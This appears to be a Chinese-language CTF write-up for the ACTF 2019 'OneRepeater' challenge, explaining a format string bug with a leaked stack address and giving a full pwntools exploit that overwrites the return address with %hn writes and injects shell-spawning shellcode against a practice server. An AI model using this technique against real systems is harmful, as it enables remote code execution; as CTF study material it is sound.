actf-2019-onerepeater

深夜写题

int __cdecl main()
{
  int v1; // [esp+Ch] [ebp-40Ch]
  char buf; // [esp+10h] [ebp-408h]

  sub_804864B();
  while ( 1 )
  {
    while ( 1 )
    {
      puts("What you want to do?\n1) Input someing exciting to repeat!\n2) repeating!!!\n3) Exit");
      __isoc99_scanf("%d", &v1);
      getchar();
      if ( v1 != 2 )
        break;
      Printf(&buf);
    }
    if ( v1 == 3 )
      break;
    if ( v1 == 1 )
      vul(&buf, 0x400u);
    else
      printf("What do you mean by %d", v1);
  }
  puts("You're welcome~");
  return 0;
}

看起来蛮简单的,格式化字符串漏洞,然后vul函数里面还泄露了buf的地址。(这个函数经过我改名字的)

安全全部关闭,

基本思路是,先看格式化字符串是第几个参数,然后覆盖返回地址为buf,并且在buf写入shellcode。

第16个参数是buf,然后buf是ebp+0x408所以ret的参数位置是(0x408+0x4)/4+16也就是275个参数。

payload

payload = (buf+0x40c) + (buf+0x40e) + shellcode + padding + '%16$hn' + '17$hn'

这个还是一样的16,17的位置灵活考虑,然后返回地址不是buf而是buf+0x8的shellcode。

但是发现,太长了,忘记考虑长度了,所以分四次发payload一次改一个字节。

from pwn import * 
context(log_level = 'debug',arch = 'i386',os = 'linux')
#sh = process("./ACTF_2019_OneRepeater")
sh = remote("node3.buuoj.cn","28112")
sh.sendlineafter("3) Exit\n","1")
stack_addr = int((sh.recv()[0:8]),base = 16)
print hex(stack_addr)
sh.sendline("break")
ret_addr = stack_addr + 0x418 + 4
payload = p32(ret_addr) + '%' + str(stack_addr % 65536 - 4) + 'c' + "%16$hn"  
sh.sendlineafter("3) Exit\n","1")
sh.sendline(payload)
sh.sendlineafter("3) Exit\n","2")
payload = p32(ret_addr + 2) + '%' + str(stack_addr // 65536 - 4) + 'c' + "%16$hn" 
sh.sendlineafter("3) Exit\n","1")
sh.sendline(payload)
sh.sendlineafter("3) Exit\n","2")          
sh.sendlineafter("3) Exit\n","1")
sh.sendline(asm(shellcraft.sh()))
sh.sendlineafter("3) Exit\n","3")                                            
sh.interactive()                                                                 

这个exp也是chuj师傅写的,我直接搬过来了,和师傅相比我还是太菜了。。。格式化字符串可以重复利用的时候就不要太着急,可以分两次改,同时第三次写shellcode也没关系。。。我太着急了,想着一步到位,结果出错了。

还有有个问题遇到很久了,这里终于可以解决了

问题

这里的main函数结束语句好像有点不一样。

它为了输出一段字符串,将esp加了0x10,所以最后ret时的栈地址是泄露的stack_addr + 0x408 + 0x10 + 4,然后我们就可以写出payload了。

actf-2019-onerepeater

这也是看了师傅的WP才知道,之前自己随便写什么函数也遇到了类似的情况,但是不知道怎么解决,只能慢慢的去调试算偏移。这里的话,减去0x10就多了0x10的偏移,我觉得应该是var_4这个东西就是0x10但是也不知道为啥。调试的话,确实差了0x10。先记住吧以后覆盖main函数返回地址留个心眼。

上一篇:用zrender实现工作流图形化设计(附范例代码)


下一篇:C结构体指针访问结构成员